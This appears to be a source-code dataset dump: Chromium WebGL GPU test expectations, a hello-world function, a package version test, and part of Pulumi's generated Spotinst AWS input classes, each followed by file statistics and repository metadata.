'amd'], bug=633022) self.Fail('conformance2/rendering/blitframebuffer-filter-outofbounds.html', ['linux', 'amd'], bug=655147) self.Fail('conformance2/textures/misc/tex-base-level-bug.html', ['linux', 'amd'], bug=705865) self.Fail('conformance2/textures/image/' + 'tex-2d-r11f_g11f_b10f-rgb-float.html', ['linux', 'amd'], bug=705865) # Uniform buffer related failures self.Fail('deqp/functional/gles3/uniformbuffers/single_struct_array.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/uniformbuffers/single_nested_struct.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/uniformbuffers/' + 'single_nested_struct_array.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/uniformbuffers/multi_basic_types.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/uniformbuffers/multi_nested_struct.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/uniformbuffers/random.html', ['linux', 'amd'], bug=483282) self.Fail('conformance2/buffers/uniform-buffers.html', ['linux', 'amd'], bug=658842) self.Fail('conformance2/rendering/uniform-block-buffer-size.html', ['linux', 'amd'], bug=658844) # Linux AMD R7 240 self.Fail('conformance2/textures/canvas/' + 'tex-2d-rg8ui-rg_integer-unsigned_byte.html', ['linux', ('amd', 0x6613)], bug=710392) self.Fail('conformance2/textures/canvas/' + 'tex-2d-rgb8ui-rgb_integer-unsigned_byte.html', ['linux', ('amd', 0x6613)], bug=710392) self.Fail('conformance2/textures/canvas/' + 'tex-2d-rgba8ui-rgba_integer-unsigned_byte.html', ['linux', ('amd', 0x6613)], bug=710392) self.Fail('conformance2/textures/webgl_canvas/' + 'tex-2d-rg8ui-rg_integer-unsigned_byte.html', ['linux', ('amd', 0x6613)], bug=710392) self.Fail('conformance2/textures/webgl_canvas/' + 'tex-2d-rgb8ui-rgb_integer-unsigned_byte.html', ['linux', ('amd', 0x6613)], bug=710392) self.Fail('conformance2/textures/webgl_canvas/' + 'tex-2d-rgba8ui-rgba_integer-unsigned_byte.html', ['linux', ('amd', 0x6613)], bug=710392) self.Fail('conformance2/textures/image_bitmap_from_video/' + 'tex-2d-rgba16f-rgba-float.html', ['linux', ('amd', 0x6613)], bug=701138) self.Fail('conformance2/textures/image_bitmap_from_video/' + 'tex-2d-rgba16f-rgba-half_float.html', ['linux', ('amd', 0x6613)], bug=701138) self.Fail('conformance2/textures/image_bitmap_from_video/' + 'tex-2d-rgba32f-rgba-float.html', ['linux', ('amd', 0x6613)], bug=701138) self.Fail('conformance2/textures/image_bitmap_from_video/' + 'tex-2d-rgba4-rgba-unsigned_byte.html', ['linux', ('amd', 0x6613)], bug=701138) self.Fail('conformance2/textures/image_bitmap_from_video/' + 'tex-2d-rgba4-rgba-unsigned_short_4_4_4_4.html', ['linux', ('amd', 0x6613)], bug=701138) self.Fail('conformance2/textures/image_data/' + 'tex-3d-rgb565-rgb-unsigned_byte.html', ['linux', ('amd', 0x6613)], bug=701138) self.Fail('conformance2/textures/image_data/' + 'tex-3d-rgb565-rgb-unsigned_short_5_6_5.html', ['linux', ('amd', 0x6613)], bug=701138) self.Fail('conformance2/textures/image_data/' + 'tex-3d-rgb5_a1-rgba-unsigned_byte.html', ['linux', ('amd', 0x6613)], bug=701138) # Conflicting expectations to test that the # "Expectations have no collisions" unittest works. # page_name = 'conformance/glsl/constructors/glsl-construct-ivec4.html' # Conflict when all conditions match # self.Fail(page_name, # ['linux', ('nvidia', 0x1), 'debug', 'opengl']) # self.Fail(page_name, # ['linux', ('nvidia', 0x1), 'debug', 'opengl']) # Conflict when all conditions match (and different sets) # self.Fail(page_name, # ['linux', 'win', ('nvidia', 0x1), 'debug', 'opengl']) # self.Fail(page_name, # ['linux', 'mac', ('nvidia', 0x1), 'amd', 'debug', 'opengl']) # Conflict with one aspect not specified # self.Fail(page_name, # ['linux', ('nvidia', 0x1), 'debug']) # self.Fail(page_name, # ['linux', ('nvidia', 0x1), 'debug', 'opengl']) # Conflict with one aspect not specified (in both conditions) # self.Fail(page_name, # ['linux', ('nvidia', 0x1), 'debug']) # self.Fail(page_name, # ['linux', ('nvidia', 0x1), 'debug']) # Conflict even if the GPU is specified in a device ID # self.Fail(page_name, # ['linux', ('nvidia', 0x1), 'debug']) # self.Fail(page_name, # ['linux', 'nvidia', 'debug']) # Test there are no conflicts between two different devices # self.Fail(page_name, # ['linux', ('nvidia', 0x1), 'debug']) # self.Fail(page_name, # ['linux', ('nvidia', 0x2), 'debug']) # Test there are no conflicts between two devices with different vendors # self.Fail(page_name, # ['linux', ('nvidia', 0x1), 'debug']) # self.Fail(page_name, # ['linux', ('amd', 0x1), 'debug']) # Conflicts if there is a device and nothing specified for the other's # GPU vendors # self.Fail(page_name, # ['linux', ('nvidia', 0x1), 'debug']) # self.Fail(page_name, # ['linux', 'debug']) # Test no conflicts happen when only one aspect differs # self.Fail(page_name, # ['linux', ('nvidia', 0x1), 'debug', 'opengl']) # self.Fail(page_name, # ['win', ('nvidia', 0x1), 'debug', 'opengl']) # Conflicts if between a generic os condition and a specific version # self.Fail(page_name, # ['xp', ('nvidia', 0x1), 'debug', 'opengl']) # self.Fail(page_name, # ['win', ('nvidia', 0x1), 'debug', 'opengl'])

47.931389

81

0.650462

6,455

55,888

5.534934

0.098528

0.081057

0.122313

0.128695

0.844548

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0.780648

0.75431

0.717393

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0

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55,888

1,165

82

47.972532

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0.00105

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0.457166

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0.002101

false

0.063025

0.00105

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null

0

1

0

1

null

0

1

0

8

3f0a75d7e38c23741bcc1b35cd2e52d04d871cbd

105

py

Python

wwj_pylab/online_code.py

wwj718/wwj_pylab

652d4f146f73712c7b50329a721ef96c04d28b67

[ "0BSD" ]

1

2019-04-21T12:07:20.000Z

wwj_pylab/online_code.py

wwj718/wwj_pylab

652d4f146f73712c7b50329a721ef96c04d28b67

[ "0BSD" ]

null

wwj_pylab/online_code.py

wwj718/wwj_pylab

652d4f146f73712c7b50329a721ef96c04d28b67

[ "0BSD" ]

null

#!/usr/bin/env python # encoding: utf-8 def hello(): #print "hello world" return "hello world"

13.125

24

0.628571

15

105

4.4

0.8

0.30303

0

0.012195

0.219048

105

7

25

15

0.792683

0.52381

0

0.23913

0

1

0.5

true

0

0.5

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

3f42eb97646f4abc56713bf75bf7b85a199dd35d

183

py

Python

tests/predictive_punter_test.py

justjasongreen/predictive_punter

746e13befcd950228e3807d16e5971324dbd6ca2

[ "MIT" ]

6

2018-08-28T16:26:44.000Z

2021-04-20T17:33:44.000Z

tests/predictive_punter_test.py

predictive-punter/predictive_punter

746e13befcd950228e3807d16e5971324dbd6ca2

[ "MIT" ]

39

2016-07-22T08:14:33.000Z

2016-08-01T14:13:26.000Z

tests/predictive_punter_test.py

predictive-punter/predictive_punter

746e13befcd950228e3807d16e5971324dbd6ca2

[ "MIT" ]

2

2016-12-15T06:03:57.000Z

2020-01-13T14:25:11.000Z

import predictive_punter def test_version(): """predictive_punter.__version__ should return the correct version string""" assert predictive_punter.__version__ == '1.0.0a4'

22.875

80

0.765027

22

183

5.818182

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0.375

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0

0.025478

0.142077

183

7

81

26.142857

0.789809

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0.333333

1

0.333333

true

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1

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null

1

0

1

0

null

0

1

0

1

0

1

0

8

451dfe8ec28156eda59f215cd42feefeb2c7332f

401,955

py

Python

sdk/python/pulumi_spotinst/aws/_inputs.py

pulumi/pulumi-spotinst

75592d6293d63f6cec703722f2e02ff1fb1cca44

[ "ECL-2.0", "Apache-2.0" ]

4

2019-12-21T20:50:43.000Z

2021-12-01T20:57:38.000Z

sdk/python/pulumi_spotinst/aws/_inputs.py

pulumi/pulumi-spotinst

75592d6293d63f6cec703722f2e02ff1fb1cca44

[ "ECL-2.0", "Apache-2.0" ]

103

2019-12-09T22:03:16.000Z

2022-03-30T17:07:34.000Z

sdk/python/pulumi_spotinst/aws/_inputs.py

pulumi/pulumi-spotinst

75592d6293d63f6cec703722f2e02ff1fb1cca44

[ "ECL-2.0", "Apache-2.0" ]

null

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities __all__ = [ 'BeanstalkDeploymentPreferencesArgs', 'BeanstalkDeploymentPreferencesStrategyArgs', 'BeanstalkManagedActionsArgs', 'BeanstalkManagedActionsPlatformUpdateArgs', 'BeanstalkScheduledTaskArgs', 'ElastigroupCpuOptionsArgs', 'ElastigroupEbsBlockDeviceArgs', 'ElastigroupEphemeralBlockDeviceArgs', 'ElastigroupInstanceTypesWeightArgs', 'ElastigroupIntegrationBeanstalkArgs', 'ElastigroupIntegrationBeanstalkDeploymentPreferencesArgs', 'ElastigroupIntegrationBeanstalkDeploymentPreferencesStrategyArgs', 'ElastigroupIntegrationBeanstalkManagedActionsArgs', 'ElastigroupIntegrationBeanstalkManagedActionsPlatformUpdateArgs', 'ElastigroupIntegrationCodedeployArgs', 'ElastigroupIntegrationCodedeployDeploymentGroupArgs', 'ElastigroupIntegrationDockerSwarmArgs', 'ElastigroupIntegrationDockerSwarmAutoscaleDownArgs', 'ElastigroupIntegrationDockerSwarmAutoscaleHeadroomArgs', 'ElastigroupIntegrationEcsArgs', 'ElastigroupIntegrationEcsAutoscaleAttributeArgs', 'ElastigroupIntegrationEcsAutoscaleDownArgs', 'ElastigroupIntegrationEcsAutoscaleHeadroomArgs', 'ElastigroupIntegrationEcsBatchArgs', 'ElastigroupIntegrationGitlabArgs', 'ElastigroupIntegrationGitlabRunnerArgs', 'ElastigroupIntegrationKubernetesArgs', 'ElastigroupIntegrationKubernetesAutoscaleDownArgs', 'ElastigroupIntegrationKubernetesAutoscaleHeadroomArgs', 'ElastigroupIntegrationKubernetesAutoscaleLabelArgs', 'ElastigroupIntegrationMesosphereArgs', 'ElastigroupIntegrationMultaiRuntimeArgs', 'ElastigroupIntegrationNomadArgs', 'ElastigroupIntegrationNomadAutoscaleConstraintArgs', 'ElastigroupIntegrationNomadAutoscaleDownArgs', 'ElastigroupIntegrationNomadAutoscaleHeadroomArgs', 'ElastigroupIntegrationRancherArgs', 'ElastigroupIntegrationRoute53Args', 'ElastigroupIntegrationRoute53DomainArgs', 'ElastigroupIntegrationRoute53DomainRecordSetArgs', 'ElastigroupItfArgs', 'ElastigroupItfLoadBalancerArgs', 'ElastigroupItfLoadBalancerListenerRuleArgs', 'ElastigroupItfTargetGroupConfigArgs', 'ElastigroupItfTargetGroupConfigMatcherArgs', 'ElastigroupItfTargetGroupConfigTagArgs', 'ElastigroupMetadataOptionsArgs', 'ElastigroupMultaiTargetSetArgs', 'ElastigroupMultipleMetricsArgs', 'ElastigroupMultipleMetricsExpressionArgs', 'ElastigroupMultipleMetricsMetricArgs', 'ElastigroupMultipleMetricsMetricDimensionArgs', 'ElastigroupNetworkInterfaceArgs', 'ElastigroupResourceTagSpecificationArgs', 'ElastigroupRevertToSpotArgs', 'ElastigroupScalingDownPolicyArgs', 'ElastigroupScalingDownPolicyDimensionArgs', 'ElastigroupScalingDownPolicyStepAdjustmentArgs', 'ElastigroupScalingDownPolicyStepAdjustmentActionArgs', 'ElastigroupScalingStrategyArgs', 'ElastigroupScalingTargetPolicyArgs', 'ElastigroupScalingTargetPolicyDimensionArgs', 'ElastigroupScalingUpPolicyArgs', 'ElastigroupScalingUpPolicyDimensionArgs', 'ElastigroupScalingUpPolicyStepAdjustmentArgs', 'ElastigroupScalingUpPolicyStepAdjustmentActionArgs', 'ElastigroupScheduledTaskArgs', 'ElastigroupSignalArgs', 'ElastigroupStatefulDeallocationArgs', 'ElastigroupStatefulInstanceActionArgs', 'ElastigroupTagArgs', 'ElastigroupUpdatePolicyArgs', 'ElastigroupUpdatePolicyRollConfigArgs', 'ElastigroupUpdatePolicyRollConfigStrategyArgs', 'ElastigroupUpdatePolicyRollConfigStrategyOnFailureArgs', 'ManagedInstanceBlockDeviceMappingArgs', 'ManagedInstanceBlockDeviceMappingEbsArgs', 'ManagedInstanceIntegrationRoute53Args', 'ManagedInstanceIntegrationRoute53DomainArgs', 'ManagedInstanceIntegrationRoute53DomainRecordSetArgs', 'ManagedInstanceLoadBalancerArgs', 'ManagedInstanceManagedInstanceActionArgs', 'ManagedInstanceNetworkInterfaceArgs', 'ManagedInstanceResourceTagSpecificationArgs', 'ManagedInstanceRevertToSpotArgs', 'ManagedInstanceScheduledTaskArgs', 'ManagedInstanceTagArgs', 'MrScalarApplicationArgs', 'MrScalarBootstrapActionsFileArgs', 'MrScalarConfigurationsFileArgs', 'MrScalarCoreEbsBlockDeviceArgs', 'MrScalarCoreScalingDownPolicyArgs', 'MrScalarCoreScalingUpPolicyArgs', 'MrScalarInstanceWeightArgs', 'MrScalarMasterEbsBlockDeviceArgs', 'MrScalarProvisioningTimeoutArgs', 'MrScalarScheduledTaskArgs', 'MrScalarStepsFileArgs', 'MrScalarTagArgs', 'MrScalarTaskEbsBlockDeviceArgs', 'MrScalarTaskScalingDownPolicyArgs', 'MrScalarTaskScalingUpPolicyArgs', 'MrScalarTerminationPolicyArgs', 'MrScalarTerminationPolicyStatementArgs', 'OceanAutoscalerArgs', 'OceanAutoscalerAutoscaleDownArgs', 'OceanAutoscalerAutoscaleHeadroomArgs', 'OceanAutoscalerResourceLimitsArgs', 'OceanInstanceMetadataOptionsArgs', 'OceanLaunchSpecAutoscaleHeadroomArgs', 'OceanLaunchSpecBlockDeviceMappingArgs', 'OceanLaunchSpecBlockDeviceMappingEbsArgs', 'OceanLaunchSpecBlockDeviceMappingEbsDynamicVolumeSizeArgs', 'OceanLaunchSpecCreateOptionsArgs', 'OceanLaunchSpecDeleteOptionsArgs', 'OceanLaunchSpecElasticIpPoolArgs', 'OceanLaunchSpecElasticIpPoolTagSelectorArgs', 'OceanLaunchSpecLabelArgs', 'OceanLaunchSpecResourceLimitArgs', 'OceanLaunchSpecSchedulingTaskArgs', 'OceanLaunchSpecSchedulingTaskTaskHeadroomArgs', 'OceanLaunchSpecStrategyArgs', 'OceanLaunchSpecTagArgs', 'OceanLaunchSpecTaintArgs', 'OceanLaunchSpecUpdatePolicyArgs', 'OceanLaunchSpecUpdatePolicyRollConfigArgs', 'OceanLoadBalancerArgs', 'OceanLoggingArgs', 'OceanLoggingExportArgs', 'OceanLoggingExportS3Args', 'OceanScheduledTaskArgs', 'OceanScheduledTaskShutdownHoursArgs', 'OceanScheduledTaskTaskArgs', 'OceanTagArgs', 'OceanUpdatePolicyArgs', 'OceanUpdatePolicyRollConfigArgs', 'SuspensionSuspensionArgs', ] @pulumi.input_type class BeanstalkDeploymentPreferencesArgs: def __init__(__self__, *, automatic_roll: Optional[pulumi.Input[bool]] = None, batch_size_percentage: Optional[pulumi.Input[int]] = None, grace_period: Optional[pulumi.Input[int]] = None, strategies: Optional[pulumi.Input[Sequence[pulumi.Input['BeanstalkDeploymentPreferencesStrategyArgs']]]] = None): """ :param pulumi.Input[bool] automatic_roll: Should roll perform automatically :param pulumi.Input[int] batch_size_percentage: Percent size of each batch :param pulumi.Input[int] grace_period: Amount of time to wait between batches :param pulumi.Input[Sequence[pulumi.Input['BeanstalkDeploymentPreferencesStrategyArgs']]] strategies: Strategy parameters """ if automatic_roll is not None: pulumi.set(__self__, "automatic_roll", automatic_roll) if batch_size_percentage is not None: pulumi.set(__self__, "batch_size_percentage", batch_size_percentage) if grace_period is not None: pulumi.set(__self__, "grace_period", grace_period) if strategies is not None: pulumi.set(__self__, "strategies", strategies) @property @pulumi.getter(name="automaticRoll") def automatic_roll(self) -> Optional[pulumi.Input[bool]]: """ Should roll perform automatically """ return pulumi.get(self, "automatic_roll") @automatic_roll.setter def automatic_roll(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "automatic_roll", value) @property @pulumi.getter(name="batchSizePercentage") def batch_size_percentage(self) -> Optional[pulumi.Input[int]]: """ Percent size of each batch """ return pulumi.get(self, "batch_size_percentage") @batch_size_percentage.setter def batch_size_percentage(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "batch_size_percentage", value) @property @pulumi.getter(name="gracePeriod") def grace_period(self) -> Optional[pulumi.Input[int]]: """ Amount of time to wait between batches """ return pulumi.get(self, "grace_period") @grace_period.setter def grace_period(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "grace_period", value) @property @pulumi.getter def strategies(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['BeanstalkDeploymentPreferencesStrategyArgs']]]]: """ Strategy parameters """ return pulumi.get(self, "strategies") @strategies.setter def strategies(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['BeanstalkDeploymentPreferencesStrategyArgs']]]]): pulumi.set(self, "strategies", value) @pulumi.input_type class BeanstalkDeploymentPreferencesStrategyArgs: def __init__(__self__, *, action: Optional[pulumi.Input[str]] = None, should_drain_instances: Optional[pulumi.Input[bool]] = None): """ :param pulumi.Input[str] action: Action to take :param pulumi.Input[bool] should_drain_instances: Bool value if to wait to drain instance """ if action is not None: pulumi.set(__self__, "action", action) if should_drain_instances is not None: pulumi.set(__self__, "should_drain_instances", should_drain_instances) @property @pulumi.getter def action(self) -> Optional[pulumi.Input[str]]: """ Action to take """ return pulumi.get(self, "action") @action.setter def action(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "action", value) @property @pulumi.getter(name="shouldDrainInstances") def should_drain_instances(self) -> Optional[pulumi.Input[bool]]: """ Bool value if to wait to drain instance """ return pulumi.get(self, "should_drain_instances") @should_drain_instances.setter def should_drain_instances(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "should_drain_instances", value) @pulumi.input_type class BeanstalkManagedActionsArgs: def __init__(__self__, *, platform_update: Optional[pulumi.Input['BeanstalkManagedActionsPlatformUpdateArgs']] = None): """ :param pulumi.Input['BeanstalkManagedActionsPlatformUpdateArgs'] platform_update: Platform Update parameters """ if platform_update is not None: pulumi.set(__self__, "platform_update", platform_update) @property @pulumi.getter(name="platformUpdate") def platform_update(self) -> Optional[pulumi.Input['BeanstalkManagedActionsPlatformUpdateArgs']]: """ Platform Update parameters """ return pulumi.get(self, "platform_update") @platform_update.setter def platform_update(self, value: Optional[pulumi.Input['BeanstalkManagedActionsPlatformUpdateArgs']]): pulumi.set(self, "platform_update", value) @pulumi.input_type class BeanstalkManagedActionsPlatformUpdateArgs: def __init__(__self__, *, perform_at: Optional[pulumi.Input[str]] = None, time_window: Optional[pulumi.Input[str]] = None, update_level: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] perform_at: Actions to perform (options: timeWindow, never) :param pulumi.Input[str] time_window: Time Window for when action occurs ex. Mon:23:50-Tue:00:20 :param pulumi.Input[str] update_level: - Level to update """ if perform_at is not None: pulumi.set(__self__, "perform_at", perform_at) if time_window is not None: pulumi.set(__self__, "time_window", time_window) if update_level is not None: pulumi.set(__self__, "update_level", update_level) @property @pulumi.getter(name="performAt") def perform_at(self) -> Optional[pulumi.Input[str]]: """ Actions to perform (options: timeWindow, never) """ return pulumi.get(self, "perform_at") @perform_at.setter def perform_at(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "perform_at", value) @property @pulumi.getter(name="timeWindow") def time_window(self) -> Optional[pulumi.Input[str]]: """ Time Window for when action occurs ex. Mon:23:50-Tue:00:20 """ return pulumi.get(self, "time_window") @time_window.setter def time_window(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "time_window", value) @property @pulumi.getter(name="updateLevel") def update_level(self) -> Optional[pulumi.Input[str]]: """ - Level to update """ return pulumi.get(self, "update_level") @update_level.setter def update_level(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "update_level", value) @pulumi.input_type class BeanstalkScheduledTaskArgs: def __init__(__self__, *, task_type: pulumi.Input[str], adjustment: Optional[pulumi.Input[str]] = None, adjustment_percentage: Optional[pulumi.Input[str]] = None, batch_size_percentage: Optional[pulumi.Input[str]] = None, cron_expression: Optional[pulumi.Input[str]] = None, frequency: Optional[pulumi.Input[str]] = None, grace_period: Optional[pulumi.Input[str]] = None, is_enabled: Optional[pulumi.Input[bool]] = None, max_capacity: Optional[pulumi.Input[str]] = None, min_capacity: Optional[pulumi.Input[str]] = None, scale_max_capacity: Optional[pulumi.Input[str]] = None, scale_min_capacity: Optional[pulumi.Input[str]] = None, scale_target_capacity: Optional[pulumi.Input[str]] = None, start_time: Optional[pulumi.Input[str]] = None, target_capacity: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] task_type: The task type to run. Supported task types are: `"scale"`, `"backup_ami"`, `"roll"`, `"scaleUp"`, `"percentageScaleUp"`, `"scaleDown"`, `"percentageScaleDown"`, `"statefulUpdateCapacity"`. :param pulumi.Input[str] adjustment: The number of instances to add or remove. :param pulumi.Input[str] adjustment_percentage: The percentage of instances to add or remove. :param pulumi.Input[str] batch_size_percentage: The percentage size of each batch in the scheduled deployment roll. :param pulumi.Input[str] cron_expression: A valid cron expression. The cron is running in UTC time zone and is in [Unix cron format](https://en.wikipedia.org/wiki/Cron). :param pulumi.Input[str] frequency: The recurrence frequency to run this task. Supported values are `"hourly"`, `"daily"`, `"weekly"` and `"continuous"`. :param pulumi.Input[str] grace_period: The period of time (seconds) to wait before checking a batch's health after it's deployment. :param pulumi.Input[bool] is_enabled: Setting the task to being enabled or disabled. :param pulumi.Input[str] max_capacity: The maximum number of instances the group should have. :param pulumi.Input[str] min_capacity: The minimum number of instances the group should have. :param pulumi.Input[str] scale_max_capacity: The maximum number of instances the group should have. :param pulumi.Input[str] scale_min_capacity: The minimum number of instances the group should have. :param pulumi.Input[str] scale_target_capacity: The desired number of instances the group should have. :param pulumi.Input[str] start_time: Set a start time for one time tasks. :param pulumi.Input[str] target_capacity: The desired number of instances the group should have. """ pulumi.set(__self__, "task_type", task_type) if adjustment is not None: pulumi.set(__self__, "adjustment", adjustment) if adjustment_percentage is not None: pulumi.set(__self__, "adjustment_percentage", adjustment_percentage) if batch_size_percentage is not None: pulumi.set(__self__, "batch_size_percentage", batch_size_percentage) if cron_expression is not None: pulumi.set(__self__, "cron_expression", cron_expression) if frequency is not None: pulumi.set(__self__, "frequency", frequency) if grace_period is not None: pulumi.set(__self__, "grace_period", grace_period) if is_enabled is not None: pulumi.set(__self__, "is_enabled", is_enabled) if max_capacity is not None: pulumi.set(__self__, "max_capacity", max_capacity) if min_capacity is not None: pulumi.set(__self__, "min_capacity", min_capacity) if scale_max_capacity is not None: pulumi.set(__self__, "scale_max_capacity", scale_max_capacity) if scale_min_capacity is not None: pulumi.set(__self__, "scale_min_capacity", scale_min_capacity) if scale_target_capacity is not None: pulumi.set(__self__, "scale_target_capacity", scale_target_capacity) if start_time is not None: pulumi.set(__self__, "start_time", start_time) if target_capacity is not None: pulumi.set(__self__, "target_capacity", target_capacity) @property @pulumi.getter(name="taskType") def task_type(self) -> pulumi.Input[str]: """ The task type to run. Supported task types are: `"scale"`, `"backup_ami"`, `"roll"`, `"scaleUp"`, `"percentageScaleUp"`, `"scaleDown"`, `"percentageScaleDown"`, `"statefulUpdateCapacity"`. """ return pulumi.get(self, "task_type") @task_type.setter def task_type(self, value: pulumi.Input[str]): pulumi.set(self, "task_type", value) @property @pulumi.getter def adjustment(self) -> Optional[pulumi.Input[str]]: """ The number of instances to add or remove. """ return pulumi.get(self, "adjustment") @adjustment.setter def adjustment(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "adjustment", value) @property @pulumi.getter(name="adjustmentPercentage") def adjustment_percentage(self) -> Optional[pulumi.Input[str]]: """ The percentage of instances to add or remove. """ return pulumi.get(self, "adjustment_percentage") @adjustment_percentage.setter def adjustment_percentage(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "adjustment_percentage", value) @property @pulumi.getter(name="batchSizePercentage") def batch_size_percentage(self) -> Optional[pulumi.Input[str]]: """ The percentage size of each batch in the scheduled deployment roll. """ return pulumi.get(self, "batch_size_percentage") @batch_size_percentage.setter def batch_size_percentage(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "batch_size_percentage", value) @property @pulumi.getter(name="cronExpression") def cron_expression(self) -> Optional[pulumi.Input[str]]: """ A valid cron expression. The cron is running in UTC time zone and is in [Unix cron format](https://en.wikipedia.org/wiki/Cron). """ return pulumi.get(self, "cron_expression") @cron_expression.setter def cron_expression(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "cron_expression", value) @property @pulumi.getter def frequency(self) -> Optional[pulumi.Input[str]]: """ The recurrence frequency to run this task. Supported values are `"hourly"`, `"daily"`, `"weekly"` and `"continuous"`. """ return pulumi.get(self, "frequency") @frequency.setter def frequency(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "frequency", value) @property @pulumi.getter(name="gracePeriod") def grace_period(self) -> Optional[pulumi.Input[str]]: """ The period of time (seconds) to wait before checking a batch's health after it's deployment. """ return pulumi.get(self, "grace_period") @grace_period.setter def grace_period(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "grace_period", value) @property @pulumi.getter(name="isEnabled") def is_enabled(self) -> Optional[pulumi.Input[bool]]: """ Setting the task to being enabled or disabled. """ return pulumi.get(self, "is_enabled") @is_enabled.setter def is_enabled(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "is_enabled", value) @property @pulumi.getter(name="maxCapacity") def max_capacity(self) -> Optional[pulumi.Input[str]]: """ The maximum number of instances the group should have. """ return pulumi.get(self, "max_capacity") @max_capacity.setter def max_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "max_capacity", value) @property @pulumi.getter(name="minCapacity") def min_capacity(self) -> Optional[pulumi.Input[str]]: """ The minimum number of instances the group should have. """ return pulumi.get(self, "min_capacity") @min_capacity.setter def min_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "min_capacity", value) @property @pulumi.getter(name="scaleMaxCapacity") def scale_max_capacity(self) -> Optional[pulumi.Input[str]]: """ The maximum number of instances the group should have. """ return pulumi.get(self, "scale_max_capacity") @scale_max_capacity.setter def scale_max_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "scale_max_capacity", value) @property @pulumi.getter(name="scaleMinCapacity") def scale_min_capacity(self) -> Optional[pulumi.Input[str]]: """ The minimum number of instances the group should have. """ return pulumi.get(self, "scale_min_capacity") @scale_min_capacity.setter def scale_min_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "scale_min_capacity", value) @property @pulumi.getter(name="scaleTargetCapacity") def scale_target_capacity(self) -> Optional[pulumi.Input[str]]: """ The desired number of instances the group should have. """ return pulumi.get(self, "scale_target_capacity") @scale_target_capacity.setter def scale_target_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "scale_target_capacity", value) @property @pulumi.getter(name="startTime") def start_time(self) -> Optional[pulumi.Input[str]]: """ Set a start time for one time tasks. """ return pulumi.get(self, "start_time") @start_time.setter def start_time(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "start_time", value) @property @pulumi.getter(name="targetCapacity") def target_capacity(self) -> Optional[pulumi.Input[str]]: """ The desired number of instances the group should have. """ return pulumi.get(self, "target_capacity") @target_capacity.setter def target_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "target_capacity", value) @pulumi.input_type class ElastigroupCpuOptionsArgs: def __init__(__self__, *, threads_per_core: pulumi.Input[int]): """ :param pulumi.Input[int] threads_per_core: The ability to define the number of threads per core in instances that allow this. """ pulumi.set(__self__, "threads_per_core", threads_per_core) @property @pulumi.getter(name="threadsPerCore") def threads_per_core(self) -> pulumi.Input[int]: """ The ability to define the number of threads per core in instances that allow this. """ return pulumi.get(self, "threads_per_core") @threads_per_core.setter def threads_per_core(self, value: pulumi.Input[int]): pulumi.set(self, "threads_per_core", value) @pulumi.input_type class ElastigroupEbsBlockDeviceArgs: def __init__(__self__, *, device_name: pulumi.Input[str], delete_on_termination: Optional[pulumi.Input[bool]] = None, encrypted: Optional[pulumi.Input[bool]] = None, iops: Optional[pulumi.Input[int]] = None, kms_key_id: Optional[pulumi.Input[str]] = None, snapshot_id: Optional[pulumi.Input[str]] = None, throughput: Optional[pulumi.Input[int]] = None, volume_size: Optional[pulumi.Input[int]] = None, volume_type: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] device_name: The name of the device to mount. :param pulumi.Input[bool] delete_on_termination: Whether the volume should be destroyed on instance termination. :param pulumi.Input[bool] encrypted: Enables [EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) on the volume. :param pulumi.Input[int] iops: The amount of provisioned [IOPS](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-io-characteristics.html). This must be set with a `volume_type` of `"io1"`. :param pulumi.Input[str] kms_key_id: ID for a user managed CMK under which the EBS Volume is encrypted :param pulumi.Input[str] snapshot_id: The Snapshot ID to mount. :param pulumi.Input[int] throughput: The amount of data transferred to or from a storage device per second, you can use this param just in a case that `volume_type` = gp3. :param pulumi.Input[int] volume_size: The size of the volume in gigabytes. :param pulumi.Input[str] volume_type: The type of volume. Can be `"standard"`, `"gp2"`, `"io1"`, `"st1"` or `"sc1"`. """ pulumi.set(__self__, "device_name", device_name) if delete_on_termination is not None: pulumi.set(__self__, "delete_on_termination", delete_on_termination) if encrypted is not None: pulumi.set(__self__, "encrypted", encrypted) if iops is not None: pulumi.set(__self__, "iops", iops) if kms_key_id is not None: pulumi.set(__self__, "kms_key_id", kms_key_id) if snapshot_id is not None: pulumi.set(__self__, "snapshot_id", snapshot_id) if throughput is not None: pulumi.set(__self__, "throughput", throughput) if volume_size is not None: pulumi.set(__self__, "volume_size", volume_size) if volume_type is not None: pulumi.set(__self__, "volume_type", volume_type) @property @pulumi.getter(name="deviceName") def device_name(self) -> 